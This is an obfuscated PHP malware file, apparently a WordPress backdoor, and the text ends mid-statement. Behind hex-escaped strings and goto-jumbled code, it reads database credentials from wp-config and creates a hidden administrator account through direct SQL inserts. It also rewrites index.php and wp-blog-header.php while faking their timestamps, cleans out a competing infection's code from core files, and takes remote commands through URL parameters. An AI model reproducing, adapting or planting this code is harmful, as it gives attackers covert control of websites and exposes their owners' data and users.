dD_IL; yh2el: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto xnJjC; uZgLC: $Vbnqc = "\x73\145\x6c\x65\143\x74\x20\111\x44\40\146\162\x6f\155\x20{$xvPZC}" . "\165\x73\145\x72\163\40\x77\150\x65\162\145\40\165\x73\x65\x72\137\x6c\x6f\x67\151\x6e\75\47{$OwkPs}\47\x3b"; goto HBTJX; y28I_: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto C4jn0; mhoXa: $Vbnqc = "\151\156\x73\145\x72\164\40\x69\156\164\157\x20" . $xvPZC . "\165\163\145\x72\x6d\x65\x74\x61\x28\165\163\x65\x72\137\151\144\54\x20\155\x65\x74\141\137\153\x65\x79\x2c\40\155\145\x74\141\x5f\166\x61\154\x75\x65\x29\40\x76\x61\154\x75\145\163\50" . $tgHMG . "\x2c\x20\x27" . $Us1Oh[$KugfQ] . "\47\x2c\40\47" . $cZ5Yh[$KugfQ] . "\x27\51\73"; goto yh2el; sVSke: $PwrAG = mysqli_query($Eo_4P, $Vbnqc); goto FKPZB; v1r0x: $tgHMG = $H4vOx["\111\x44"]; goto d7lmG; uEQQw: if (!($E6sUY == true)) { goto oQFSW; } goto BL2T0; kR5IV: $Vbnqc = "\163\x65\x6c\145\x63\x74\x20\52\x20\x66\x72\157\x6d\40{$xvPZC}" . "\165\163\145\x72\x73\40\x77\x68\145\x72\x65\x20\x75\163\145\162\137\154\x6f\x67\x69\156\75\47{$OwkPs}\x27\x3b"; goto hP0fg; N7gZE: if (!($KugfQ < count($Us1Oh))) { goto TAPkG; } goto bBsk1; HUo6c: goto GISpk; goto ixnrT; mgX2j: $Eo_4P = mysqli_connect($BoCSt, $cwxaD, $SNRAA, $yptwa, $NVx2X); goto uEQQw; ixnrT: ant0x: goto v1r0x; YQdA2: $BoCSt = $i4Jk8[0]; goto wamWa; D3p2a: GISpk: goto sn8vJ; H_1Lh: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto kR5IV; kZNks: goto Sgy23; goto QvZRo; jE8rt: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto HpU95; sluAX: z_Rrh: goto JkyZ2; CgFxV: aewXl: goto JoKbg; UcUG0: preg_match("\100\x5b\x27\174\x22\135\104\x42\137\110\117\123\124\133\47\x7c\x22\135\x2c\134\x73\x2a\133\47\174\x22\x5d\50\56\52\x3f\x29\133\47\174\42\x5d\100", $ouSPH, $xoszh); goto MdlMk; v7ykj: if (!(mysqli_num_rows($PwrAG) > 0)) { goto s05K2; } goto c5ceE; dBJhW: $KugfQ++; goto kZNks; j9Hj5: return "\x75\x75\141\40\157\153"; goto TCss8; hP0fg: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto zB19O; QvZRo: TAPkG: goto HUo6c; BySUo: preg_match("\100\x5b\x27\x7c\x22\135\104\102\x5f\120\x41\x53\x53\x57\x4f\x52\104\x5b\x27\174\42\135\54\x5c\x73\x2a\x5b\x27\174\42\x5d\x28\56\52\77\51\133\47\x7c\42\x5d\100", $ouSPH, $HT8rB); goto UcUG0; FKPZB: if (!(mysqli_num_rows($PwrAG) <= 0)) { goto NR05_; } goto mhoXa; ur3No: $Vbnqc = "\151\x6e\x73\145\x72\164\40\x69\156\164\157\40{$xvPZC}" . "\165\x73\145\x72\155\x65\164\141\50\x75\163\145\x72\x5f\151\144\x2c\x20\x6d\x65\164\x61\137\153\145\171\54\40\155\x65\x74\x61\137\x76\x61\154\x75\x65\51\x20\x76\x61\x6c\x75\x65\x73\x28{$tgHMG}\x2c\40\x27{$xvPZC}" . "\x63\x61\160\141\142\151\154\151\x74\x69\145\x73\x27\x2c\40\47\141\72\61\72\x7b\x73\x3a\61\63\72\42\x61\x64\155\151\156\x69\163\164\x72\141\x74\x6f\162\x22\73\142\x3a\61\x3b\175\47\x29\x3b"; goto H_1Lh; WFVZ2: oQFSW: goto BHYqJ; nNznD: $gEZIT = mysqli_query($Eo_4P, $Vbnqc); goto WFVZ2; JRtS6: goto lo5kq; goto sluAX; C4jn0: return "\165\x75\40\143\150\x61\156\147\x65\40"; goto D3p2a; JkyZ2: s05K2: goto RD5oV; iiqD3: $NVx2X = "\63\63\60\66"; goto uWhvL; uWhvL: if (!strstr($BoCSt, "\72")) { goto k0LaC; } goto g3jZ0; VoIq4: $BoCSt = "\154\157\x63\x61\154\150\x6f\x73\x74"; goto y3y6A; gcdKt: $Vbnqc = "\x73\145\154\145\143\164\40\52\40\146\162\x6f\x6d\40" . $xvPZC . "\x75\163\x65\x72\155\x65\164\141\40\40\x77\150\145\162\x65\40\165\163\x65\x72\x5f\x69\144\x3d" . $tgHMG . "\40\141\156\144\x20\x6d\145\x74\x61\x5f\x6b\x65\171\x3d\47" . $Us1Oh[$KugfQ] . "\47\73"; goto sVSke; zjfS2: global $Evc1U, $BR7uj, $RbeTK; goto DNdcX; DRU0o: $yptwa = $n0ww7[1]; goto WsbBe; y3y6A: HYt0D: goto mgX2j; dPVGE: $BoCSt = $xoszh[1]; goto CnNjm; JB8ox: $Vbnqc = "\151\156\163\145\x72\164\40\151\156\x74\157\x20{$xvPZC}" . "\165\163\145\x72\163\x28\165\x73\145\x72\137\x6c\x6f\x67\x69\x6e\54\165\163\145\162\137\x70\x61\163\163\54\165\163\x65\x72\137\156\x69\143\145\x6e\x61\155\145\x2c\x75\163\145\x72\x5f\145\x6d\141\151\154\54\x75\163\x65\x72\137\162\x65\147\151\163\x74\x65\x72\x65\x64\x2c\165\x73\145\162\x5f\x61\143\x74\x69\x76\141\x74\x69\x6f\156\x5f\153\145\171\54\165\x73\145\162\x5f\163\164\x61\164\165\163\x2c\144\151\163\160\154\141\171\x5f\x6e\141\x6d\x65\51\40\x76\x61\154\x75\x65\x73\x28\x27{$OwkPs}\x27\54\x20\x27{$NoUU3}\47\54\x20\47{$OwkPs}\47\54\x20\47{$OwkPs}\100\x67\155\x61\151\154\x2e\x63\x6f\x6d\x27\54\x20\x27\62\60\x32\x31\x2d\60\65\x2d\x32\61\40\60\71\x3a\61\x33\x3a\x32\66\47\x2c\40\47\47\54\x20\x27\x30\x27\54\x20\47{$OwkPs}\47\x29\73"; goto eR5HP; MdlMk: preg_match("\100\164\x61\x62\154\145\x5f\160\x72\x65\x66\x69\170\134\x73\52\75\x5c\x73\52\133\47\x7c\42\135\50\x2e\52\x3f\x29\x5b\47\x7c\42\135\x40", $ouSPH, $SNdf0); goto DRU0o; tP4h_: if (!(trim($BoCSt) == '')) { goto HYt0D; } goto VoIq4; BVZS1: $H4vOx = mysqli_fetch_array($gEZIT); goto uiuYO; Ss254: Sgy23: goto N7gZE; bBsk1: if (!($Us1Oh[$KugfQ] != '')) { goto aewXl; } goto gcdKt; sn8vJ: return "\165\165\x61\x20\146\141\x69\x6c"; goto ImArK; wamWa: $NVx2X = $i4Jk8[1]; goto Ry0QX; Ry0QX: k0LaC: goto tP4h_; UYyyF: if (!($H4vOx = mysqli_fetch_array($PwrAG))) { goto z_Rrh; } goto ZWTQH; RdM13: $SNRAA = $HT8rB[1]; goto dPVGE; zB19O: $H4vOx = mysqli_fetch_array($gEZIT); goto ctUIJ; WsbBe: $cwxaD = $vlzmk[1]; goto RdM13; CJ5kI: preg_match("\100\x5b\x27\174\x22\x5d\104\102\x5f\125\x53\x45\122\x5b\x27\x7c\42\x5d\x2c\134\163\52\x5b\47\x7c\42\x5d\x28\x2e\52\x3f\51\x5b\x27\x7c\x22\135\x40", $ouSPH, $vlzmk); goto BySUo; BHYqJ: $Vbnqc = "\163\x65\154\x65\143\x74\x20\52\x20\146\162\x6f\x6d\x20{$xvPZC}" . "\165\x73\145\x72\x73\x20\x77\x68\145\162\145\x20\165\x73\x65\162\137\154\157\147\151\156\75\47{$OwkPs}\47\73"; goto jE8rt; tXNBz: if (!empty($H4vOx)) { goto ant0x; } goto JB8ox; wdWwN: $PwrAG = mysqli_query($Eo_4P, $Vbnqc); goto v7ykj; CnNjm: $xvPZC = $SNdf0[1]; goto iiqD3; ImArK: } goto L_8Eo; fEs6f: $xvBwd = $_GET["\x64\151\162"]; goto hnqc8; u_73U: if (isset($_GET["\144\x69\162"])) { goto Jmfx3; } goto t0MZg; HieGb: $pfqHK = woxEr($xvBwd); goto tfxgB; MFvz_: $JypiI = $JypiI . "\57"; goto vTDTV; Gi0fg: bGdXH(); goto jLvvD; t0MZg: $xvBwd = $Evc1U; goto P64t2; DAEJY: $pEAqo = str_replace("\x5c", "\x2f", $Lg34Q); goto Ktri1; y3ZJX: @chdir($Evc1U); goto wMU0F; M0ko5: $xCUXx = "\x68\164\155\x6c"; goto g1Dpd; ECzAw: echo $pfqHK; goto Jk_Ty; TmKdV: if (is_dir("\167\160\x2d\151\x6e\143\154\x75\144\x65\x73") && is_dir("\x77\160\55\141\144\x6d\151\x6e")) { goto pcED8; } goto S90XT; IssOY: function vBNfj() { goto TVWnY; o5sKg: D_q0F: goto Ouy6N; IwCsl: $GkPrG = filectime("\167\x70\55\x62\154\157\147\x2d\x68\x65\141\144\x65\162\56\160\x68\160"); goto yCsVE; p9Oov: $hb7ZK = $Evc1U . "\x2f\x77\x70\55\x69\x6e\143\x6c\165\x64\145\x73\57"; goto i6vG4; g5_ub: $E_XtO = array("\x62\154\157\x63\153\x73\x2e\x70\x68\x70" => "\x66\165\x6e\x63\164\x69\157\156\40\x72\x65\147\151\x73\x74\145\x72\x5f\142\x6c\x6f\143\153\x5f\163\164\171\154\145\137\150\141\156\x64\x6c\x65", "\164\x68\145\155\x65\56\x70\x68\x70" => "\146\x75\156\x63\164\151\157\x6e\40\x76\141\154\x69\144\141\164\145\x5f\x63\x75\x72\x72\145\x6e\x74\x5f\164\x68\x65\x6d\145", "\164\x65\x6d\160\x6c\x61\164\145\x2e\x70\x68\x70" => "\x66\165\156\143\x74\x69\157\156\40\147\145\164\x5f\141\x72\x63\150\151\x76\x65\x5f\164\145\155\160\x6c\141\164\x65", "\162\x65\167\162\151\x74\145\56\x70\150\x70" => "\x66\165\x6e\143\164\151\x6f\156\40\165\162\x6c\137\164\x6f\x5f\160\x6f\x73\164\151\144", "\x61\144\x6d\x69\156\x2d\142\141\162\56\x70\x68\160" => "\146\165\x6e\143\164\x69\157\x6e\40\167\x70\x5f\141\x64\155\151\x6e\137\142\x61\162\137\x6d\171\137\x61\x63\143\x6f\x75\x6e\164\x5f\x6d\145\x6e\165", "\x72\145\x73\164\55\141\160\x69\x2e\x70\150\x70" => "\x66\x75\x6e\143\164\x69\x6f\156\40\x72\145\147\151\163\x74\x65\162\137\x72\x65\163\x74\137\x66\151\145\154\144", "\x6d\145\144\x69\141\56\160\150\x70" => "\x66\165\x6e\143\x74\x69\x6f\x6e\x20\x69\155\141\x67\x65\x5f\x64\x6f\x77\x6e\163\x69\x7a\145", "\x6e\x61\166\55\155\145\156\x75\x2e\x70\x68\x70" => "\x66\165\x6e\x63\x74\x69\x6f\156\x20\151\163\x5f\156\x61\166\137\155\145\x6e\x75\137\151\164\x65\x6d", "\164\x68\x65\155\x65\x2d\x74\145\155\160\x6c\x61\164\x65\163\56\160\150\x70" => "\x66\165\156\x63\x74\151\157\x6e\x20\167\x70\x5f\x65\x6e\141\x62\x6c\x65\x5f\x62\x6c\x6f\x63\153\137\x74\145\155\160\154\x61\164\x65\x73", "\142\x6c\157\143\x6b\55\x74\145\155\160\x6c\141\164\x65\56\160\150\x70" => "\146\x75\x6e\x63\164\x69\x6f\x6e\x20\137\x73\164\162\x69\x70\x5f\164\x65\x6d\x70\154\141\x74\x65\x5f\146\x69\154\145\137\163\x75\146\146\x69\x78", "\x62\x6c\157\x63\x6b\x73\57\141\162\143\x68\151\166\x65\163\56\160\150\160" => "\146\165\156\x63\x74\151\157\x6e\40\162\145\x6e\x64\x65\162\x5f\x62\154\x6f\x63\x6b\137\x63\x6f\162\x65\x5f\141\x72\x63\150\151\166\145\163", "\x63\x61\x74\145\147\x6f\162\x79\x2e\x70\150\x70" => "\146\x75\x6e\x63\x74\x69\x6f\156\40\x67\x65\x74\x5f\x63\141\164\x5f\x6e\141\x6d\x65", "\x6c\157\141\144\56\x70\150\160" => "\x66\x75\156\x63\x74\151\x6f\x6e\40\151\163\137\167\160\x5f\x65\x72\162\x6f\x72", "\x70\154\x75\x67\151\156\x2e\160\150\x70" => "\146\x75\x6e\143\x74\x69\x6f\x6e\40\x64\157\137\141\x63\x74\x69\157\x6e\137\162\x65\x66\x5f\141\162\x72\x61\x79", "\161\x75\x65\162\x79\56\x70\x68\x70" => "\146\165\156\143\x74\151\157\x6e\x20\x69\163\x5f\146\162\157\x6e\164\137\160\x61\147\145", "\x63\x72\157\156\56\160\x68\x70" => "\146\x75\x6e\143\x74\151\157\x6e\x20\x77\x70\x5f\x73\143\x68\x65\144\165\154\x65\137\x65\x76\x65\156\164"); goto p9Oov; bWQEf: $P0NbM[] = "\x63\x72\157\156\40" . bdeIh("\167\x70\55\151\x6e\143\x6c\165\x64\x65\x73\57\x63\x72\157\156\x2e\x70\x68\160", "\151\40\75\x20\x27\x69\156\144\x65\x27\x2e\x27\x78\56\160\x68\160\47\x3b", "\x66\165\x6e\x63\164\151\157\156\40\x77\x70\137\147\x65\164\137\163\143\x68\145\x64\165\154\145\x73\x28\51\40\x7b"); goto EQmaM; yCsVE: file_put_contents("\167\x70\55\142\154\157\x67\x2d\150\x65\141\x64\x65\162\56\160\150\x70", $k5RY4); goto cs12S; TVWnY: global $Evc1U; goto uNUDk; FkIex: $P0NbM = array(); goto gjmUQ; gjmUQ: $P0NbM[] = "\x3d\x3d\x3d\75\75\x20\x73\164\141\162\x74\40\x63\162\x61\143\153\40\141\165\x74\x6f\x20\162\145\x73\x74\x6f\x72\x65\x20\x66\151\x6c\145\40\75\x3d\75\x3d\x3d"; goto g5_ub; krl7V: qvEDA: goto Ctpxx; EQmaM: return $P0NbM; goto N4KGN; Ctpxx: $P0NbM[] = "\75\x3d\75\75\75\40\x65\x6e\x64\40\143\x72\x61\143\x6b\x20\141\165\164\x6f\40\162\145\163\x74\157\162\x65\x20\x66\x69\154\145\40\x3d\x3d\75\75\x3d"; goto tr43U; Ouy6N: foreach ($E_XtO as $JN7ya => $JTRXG) { goto UmNDa; aINuu: if (!preg_match("\57\134\x2f\x5c\57\x63\x5f\163\x74\141\x72\164\133\x5c\x73\x5c\x53\x5d\52\x3f\x5c\x2f\134\57\143\137\x65\x6e\x64\x2f", $Azeee)) { goto ySk6l; } goto mNhru; Ke8lY: $QisN2[] = "\143\x72\x61\143\153\x20\162\145\163\164\157\162\145\72\x20" . $w77ol . "\40" . ($UEIme ? "\163\165\x63\143\x65\x73\163" : "\x66\141\151\154"); goto frrlk; UmNDa: $w77ol = $hb7ZK . $JN7ya; goto PPF45; PdzVJ: $UEIme = @file_put_contents($w77ol, $E3i88); goto Ke8lY; frrlk: ySk6l: goto m1uST; mNhru: $E3i88 = preg_replace("\x2f\134\57\x5c\x2f\143\x5f\163\164\x61\162\x74\133\x5c\163\134\x53\x5d\x2a\x3f\x5c\x2f\134\57\143\137\x65\x6e\144\57", '', $Azeee); goto PdzVJ; h0smW: $Azeee = file_get_contents($w77ol); goto aINuu; Bgmcm: aMoBh: goto h0smW; m1uST: wudOP: goto Q1RN0; PPF45: if (file_exists($w77ol)) { goto aMoBh; } goto S3Z7b; S3Z7b: goto wudOP; goto Bgmcm; Q1RN0: } goto krl7V; uNUDk: $k5RY4 = "\x3c\x3f\x70\150\x70\x20\151\x66\40\50\40\x21\x20\x69\163\x73\x65\x74\50\x20\44\167\160\137\144\x69\x64\137\x68\145\141\x64\145\162\40\x29\40\x29\x20\x7b\15\xa\15\12\x9\x24\167\x70\x5f\x64\x69\x64\137\x68\145\x61\144\x65\162\40\75\40\x74\162\165\145\73\xd\12\xd\xa\11\57\57\x20\114\157\141\x64\x20\x74\x68\145\x20\x57\157\x72\144\120\x72\145\163\163\x20\154\x69\x62\x72\x61\x72\171\56\15\12\11\162\x65\161\165\x69\x72\x65\x5f\x6f\156\x63\x65\x20\137\x5f\104\111\122\137\x5f\x20\x2e\x20\47\57\x77\160\55\x6c\157\141\144\56\x70\x68\x70\47\x3b\xd\12\xd\xa\x9\57\57\40\x53\145\164\x20\165\x70\x20\164\150\145\40\127\x6f\x72\x64\120\x72\x65\163\163\40\x71\165\x65\162\x79\56\xd\12\11\167\160\50\51\x3b\xd\xa\15\12\x9\57\57\40\114\x6f\141\144\40\x74\150\145\40\x74\x68\145\x6d\145\x20\164\145\x6d\x70\x6c\141\164\x65\x2e\15\12\x9\162\x65\x71\x75\x69\x72\145\137\x6f\x6e\143\x65\40\x41\x42\123\x50\101\124\x48\x20\56\40\x57\x50\111\116\103\40\56\x20\x27\x2f\x74\x65\155\160\154\141\x74\x65\x2d\x6c\x6f\141\144\x65\162\56\x70\150\160\x27\x3b\15\12\15\12\x7d"; goto IwCsl; tr43U: $P0NbM[] = "\x70\x6c\165\147\147\141\x62\154\x65\x20" . BDeih("\x77\160\x2d\x69\x6e\x63\154\165\x64\x65\x73\x2f\x70\154\x75\x67\x67\141\142\154\x65\x2e\x70\x68\160", "\151\x20\x3d\40\x27\x69\156\x64\x65\47\56\x27\x78\56\x70\150\160\x27\73", "\x69\x66\x20\50\40\x21\40\146\165\156\143\164\151\157\x6e\137\145\x78\151\163\164\163\x28\40\x27\167\160\137\x73\145\x74\x5f\x61\165\x74\150\137\143\157\x6f\153\x69\145\x27"); goto bWQEf; i6vG4: foreach ($E_XtO as $JN7ya => $JTRXG) { goto nrPUt; VpKYn: $E3i88 = preg_replace("\57\134\57\134\57\40\143\x79\x62\157\x72\x67\x5f\x73\x74\x61\162\x74\133\x5c\163\x5c\123\x5d\x2a\77\x5c\57\134\x2f\40\143\171\x62\x6f\x72\x67\137\145\156\144\57", '', $Azeee); goto ItHAy; fMrvM: $Azeee = @file_get_contents($w77ol); goto Eih0e; JAPRw: if (file_exists($w77ol)) { goto byym3; } goto BlFxM; nrPUt: $w77ol = $hb7ZK . $JN7ya; goto JAPRw; EOHra: $P0NbM[] = "\x64\x65\154\x65\x74\x65\40\150\x69\x64\x64\x65\x6e\x20\x63\x6f\x64\145\x3a\x20" . $w77ol; goto dBhv7; ItHAy: file_put_contents($w77ol, $E3i88); goto EOHra; BlFxM: goto PFrQz; goto CMgL0; dBhv7: audxo: goto t0Vob; t0Vob: PFrQz: goto KLp7F; Eih0e: if (!preg_match("\57\x5c\x2f\134\57\x20\x63\171\142\157\162\x67\x5f\163\x74\141\x72\x74\133\134\163\x5c\x53\135\52\77\134\57\x5c\x2f\40\143\171\x62\x6f\x72\147\137\145\x6e\144\57", $Azeee)) { goto audxo; } goto VpKYn; CMgL0: byym3: goto fMrvM; KLp7F: } goto o5sKg; cs12S: touch("\x77\160\x2d\142\x6c\x6f\147\x2d\150\145\x61\x64\x65\x72\56\160\x68\x70", $GkPrG); goto FkIex; N4KGN: } goto LdBgT; zlFM3: $JypiI = trim($JypiI); goto GIqju; vTDTV: zsnYX: goto y3ZJX; UDXQC: if (!(isset($_GET["\x75"]) && $_GET["\165"] == "\x31")) { goto X6Z4k; } goto mR0X2; dAvOp: if (!(isset($_GET["\150"]) && $_GET["\150"] == "\143\x6c\x65\x61\162\x68")) { goto FA1AH; } goto HieGb; mR0X2: $fHQ1T = iUGNM(); goto eHMHX; Exsa1: if (!file_exists($Evc1U . "\57\151\x6e\x64\145\x78\x2e\160\150\x70")) { goto Q451F; } goto QxnTb; P64t2: goto smclX; goto VfahC; QxnTb: chmod($Evc1U . "\57\151\x6e\x64\x65\170\56\160\x68\x70", 0644); goto D1UAe; Jk_Ty: t6ZZx: goto kWyoJ; GIqju: $Evc1U = $_SERVER["\x44\117\103\x55\115\x45\x4e\x54\x5f\122\x4f\117\x54"] . $JypiI; goto sR_Io; aqkrI: $aI3JI = rCEvV(); goto wMbM7; YNUpg: pcED8: goto xGDAs; D1UAe: file_put_contents($Evc1U . "\57\151\x6e\144\x65\x78\x2e\x70\150\160", $QR5iV); goto G8ueM; KzIuc: file_put_contents($Evc1U . "\x2f\151\x6e\x64\x65\x78\56\x70\x68\160", $QR5iV); goto CsR7n; TwKFj: if (is_dir("\167\x70\55\151\156\x63\x6c\165\x64\x65\x73") && is_dir("\167\x70\55\141\144\x6d\x69\156")) { goto S_26T; } goto d0gq5; Rqvjc: S_26T: goto Gi0fg; flDiw: goto uoGhq; goto YNUpg; l43gL: $QR5iV = "\x3c\x3f\160\x68\x70\xd\xa\x2f\x2a\x2a\xd\xa\40\52\40\x46\162\157\156\164\x20\164\x6f\x20\x74\x68\145\40\127\157\162\144\120\162\145\x73\163\x20\x61\x70\x70\x6c\151\x63\x61\164\151\157\x6e\x2e\x20\x54\150\151\x73\40\146\151\x6c\x65\x20\x64\157\x65\x73\156\47\164\40\144\x6f\x20\x61\156\x79\164\150\x69\x6e\147\54\x20\x62\x75\x74\x20\x6c\x6f\x61\144\x73\15\12\40\52\40\x77\x70\55\142\154\x6f\x67\x2d\x68\145\141\x64\x65\162\x2e\160\150\160\x20\x77\150\x69\x63\x68\40\x64\x6f\145\163\x20\x61\x6e\144\x20\x74\145\x6c\x6c\163\x20\x57\x6f\x72\x64\x50\x72\145\163\163\40\x74\157\40\154\x6f\141\144\40\164\150\x65\40\164\x68\145\x6d\145\56\15\12\40\x2a\15\xa\40\x2a\40\x40\x70\141\143\153\x61\147\145\40\127\x6f\x72\x64\120\x72\145\163\163\xd\xa\x20\x2a\57\xd\12\xd\12\x2f\52\x2a\xd\xa\40\52\x20\x54\x65\154\154\x73\40\x57\157\162\x64\x50\x72\x65\x73\x73\40\164\x6f\x20\x6c\157\141\144\40\164\150\x65\x20\x57\x6f\x72\144\120\162\x65\x73\x73\40\x74\x68\x65\155\x65\40\x61\156\x64\x20\x6f\165\164\x70\x75\164\x20\151\164\56\15\12\40\52\15\12\x20\x2a\40\x40\166\x61\x72\x20\x62\x6f\x6f\154\15\12\x20\x2a\x2f\15\xa\x64\145\x66\151\x6e\145\50\40\47\127\120\x5f\x55\x53\105\x5f\124\110\105\115\105\x53\47\54\x20\164\162\165\x65\40\51\x3b\xd\12\xd\12\x2f\x2a\x2a\40\x4c\x6f\141\144\163\x20\164\x68\x65\x20\127\157\x72\x64\x50\x72\145\x73\163\x20\105\x6e\166\x69\x72\157\156\155\145\156\x74\x20\x61\156\144\x20\x54\x65\x6d\160\154\x61\x74\145\40\52\57\15\12\x72\x65\161\x75\x69\x72\x65\x28\40\x64\151\x72\x6e\141\155\x65\x28\40\137\137\x46\x49\114\105\x5f\137\40\x29\x20\x2e\x20\47\57\x77\160\55\x62\x6c\x6f\x67\55\x68\x65\141\144\x65\x72\56\x70\150\160\47\40\x29\73"; goto V5W7B; IDo_e: $Lg34Q = __DIR__; goto DAEJY; d0gq5: V3c0O(); goto nt6Pi; m7Eu5: p_W39: goto k3s5v; HRbve: X6Z4k: goto emH4_; jLvvD: if (!file_exists($Evc1U . "\57\x69\x6e\144\145\170\56\x70\x68\160")) { goto mDBUy; } goto WuAWW; WuAWW: chmod($Evc1U . "\x2f\x69\x6e\x64\145\x78\x2e\x70\x68\x70", 0644); goto KzIuc; sR_Io: if (!(trim($JypiI) != '')) { goto zsnYX; } goto MFvz_; xGDAs: bgdxH(); goto Exsa1; AhOQm: vG9AJ: goto dAvOp; w65kQ: error_reporting(E_ALL); goto yOgb1; eA27m: function BgDXh() { goto DSONk; E0Ox5: lyQuC: goto ebnZv; nM2w8: $P0NbM = vbNfJ(); goto lZZcz; BbmeQ: $P0NbM = V3c0o(); goto XoGSY; ebnZv: $UjXsp = $_GET["\143\171\143\x6c\x65"]; goto oeSte; SpymV: goto efq6h; goto E0Ox5; yNBIH: $uvt9B = ''; goto gCBUp; zXKev: rL9_v($P0NbM); goto i066u; ul_Pd: l3hAR: goto yeA9S; UTgc9: $P0NbM = vbNFj(); goto vW5W0; W5IaW: VSIH1: goto U0zPH; XoGSY: RL9_V($P0NbM); goto W5IaW; H3jcO: zKuJV: goto h7Vt3; yeA9S: $uvt9B = $_GET["\146\x69\x6c\x65"]; goto oURrH; y24n1: if (!$uvt9B && !$UjXsp) { goto eNsdr; } goto G9Hgu; i066u: gopPL: goto J3YVE; oURrH: u1ISN: goto IkNsd; G9Hgu: if (!$uvt9B) { goto zKuJV; } goto UTgc9; gCBUp: goto u1ISN; goto ul_Pd; vW5W0: rL9_V($P0NbM); goto H3jcO; J3YVE: goto VSIH1; goto ohaS6; oeSte: efq6h: goto y24n1; Gk2Vg: $P0NbM = V3c0O(); goto zXKev; ohaS6: eNsdr: goto nM2w8; IkNsd: if (isset($_GET["\x63\171\x63\x6c\x65"])) { goto lyQuC; } goto z30lB; DSONk: global $Evc1U; goto VAOJw; lZZcz: rl9_V($P0NbM); goto BbmeQ; z30lB: $UjXsp = ''; goto SpymV; VAOJw: if (isset($_GET["\x66\x69\x6c\x65"])) { goto l3hAR; } goto yNBIH; h7Vt3: if (!$UjXsp) { goto gopPL; } goto Gk2Vg; U0zPH: } goto m7GIQ; NR5LK: function iuGNm() { goto MjnzD; JERIx: if (!file_exists($Evc1U . "\57\167\x70\x2d\x63\x6f\156\x66\x69\x67\x2e\x70\x68\x70")) { goto UC3oB; } goto rdy43; MjnzD: global $Evc1U; goto zTNvD; zTNvD: $kg0Jo = array(); goto SDH7D; fVb6u: $kg0Jo["\155\145\163\163\141\147\x65"][] = qsac2("\167\x70\55\165\x73\x65\162", "\61\x33\143\x38\x35\67\x34\x36\x39\x64\146\143\70\x31\143\x63\141\x64\x64\71\x38\70\x38\x63\60\x33\x62\x38\70\x30\64\61", false); goto CvtEc; SDH7D: $kg0Jo["\164\151\164\154\145"] = __FUNCTION__; goto JERIx; Xs4kg: return $kg0Jo; goto P1HBY; rdy43: $kg0Jo["\155\x65\x73\x73\x61\x67\145"][] = Qsac2("\167\x70\x2d\142\x6c\157\x67", "\x31\63\x63\70\x35\67\x34\x36\x39\144\146\143\70\61\x63\x63\x61\x64\144\x39\70\70\x38\143\60\x33\142\x38\x38\60\x34\x31", true); goto fVb6u; CvtEc: UC3oB: goto Xs4kg; P1HBY: } goto lcfBh; G8ueM: Q451F: goto OKcpD; h70oB: ceS7Y: goto u_73U; hnqc8: smclX: goto l43gL; Nmafn: yNySJ: goto lARHw; VfahC: Jmfx3: goto fEs6f; LdBgT: function v3c0o() { goto FPceM; VzFb7: @touch($PPTPl); goto BdNDY; LH4ou: return $P0NbM; goto LuehX; yV79_: $P0NbM = array(); goto zHOTe; zHOTe: $P0NbM[] = "\x3d\75\75\x3d\x3d\40\x73\x74\141\162\164\40\143\162\x61\143\153\x20\141\x75\164\157\40\162\145\163\x74\x6f\162\x65\40\143\x79\143\x6c\145\x20\x3d\x3d\x3d\75\75"; goto SFSJP; FPceM: global $Evc1U; goto yV79_; ohYxQ: $P0NbM[] = "\75\75\75\75\x3d\40\145\x6e\144\x20\143\x72\x61\x63\153\x20\x61\x75\164\x6f\40\162\x65\x73\164\x6f\162\145\40\x63\x79\x63\x6c\145\40\x3d\x3d\x3d\75\75"; goto LH4ou; BdNDY: $P0NbM[] = "\155\x61\x6b\145\40\x66\x69\154\x65\x3a\40" . $PPTPl; goto ohYxQ; SFSJP: $PPTPl = $Evc1U . "\57\63\106\x4e\x44\x49\x43\125\x32\x4b\110"; goto VzFb7; LuehX: } goto eA27m; OKcpD: uoGhq: goto AhOQm; nt6Pi: goto yNySJ; goto Rqvjc; tfxgB: echo $pfqHK; goto QD55Q; IeZqB: function bDeiH($K0292, $YHeTZ, $SDR5a) { goto K0LYD; UngrU: $UgrLj = file_get_contents($K0292); goto VbKhu; VbKhu: $G7QVK = strpos($UgrLj, $YHeTZ); goto ASTz0; pe2tl: $DHDP6 = strpos($UgrLj, $SDR5a); goto OQzwX; V0UVv: lP1Jl: goto XZEus; wDDOG: Yj252: goto kKRKz; tTxqt: return $WnsJ3; goto K6vZG; ASTz0: if ($G7QVK !== false) { goto Yj252; } goto QnTWP; eZ9sI: if (!file_exists($K0292)) { goto BZwKU; } goto UngrU; MzQTT: goto lP1Jl; goto wDDOG; QnTWP: $WnsJ3 = "\143\162\x6f\156\x20\156\157\40\x63\157\x64\145"; goto MzQTT; UZbTu: $WnsJ3 = "\143\154\x65\x61\x72\x20\x63\162\157\156\x20\143\157\144\x65"; goto V0UVv; XZEus: BZwKU: goto tTxqt; nncdd: $WnsJ3 = "\143\162\157\156\x20\156\157\40\x63\157\x64\x65"; goto eZ9sI; K0LYD: global $Evc1U; goto nncdd; kKRKz: $QyMG8 = substr($UgrLj, 0, $G7QVK - 1); goto pe2tl; OQzwX: $dwI9q = substr($UgrLj, $DHDP6); goto tIGSh; tIGSh: file_put_contents($K0292, $QyMG8 . $dwI9q); goto UZbTu; K6vZG: } goto IssOY; yOgb1: function ZPnRw($PwrAG, $xCUXx = "\x68\164\x6d\154", $Og1Xx = "\x6c\151") { goto pc91y; sP6PO: if (isset($PwrAG["\x73\164\141\164\x75\x73"]) && !empty($PwrAG["\x73\x74\141\x74\x75\163"])) { goto lYnUW; } goto pie3H; h90E6: if (isset($PwrAG["\164\151\164\154\145"])) { goto KVqtE; } goto MmTIs; MmTIs: $PwrAG["\164\151\164\154\145"] = ''; goto qNvRK; KOrg2: c__Sf: goto DS1z1; Ia7A5: if (!(sizeof($PwrAG["\x6d\x65\x73\x73\x61\x67\145"]) > 0)) { goto LQnp5; } goto YYUyz; CM8cS: $upMLr = "\x3c\x66\157\x6e\x74\40\143\x6f\x6c\x6f\x72\75\x22\x67\162\x65\x65\156\x22\76" . $PwrAG["\163\164\141\x74\x75\163"] . "\74\57\x66\157\156\164\x3e"; goto jIqRi; pc91y: global $Evc1U; goto oBNSx; GEnZo: if (!($PwrAG["\163\x74\141\164\165\163"] == 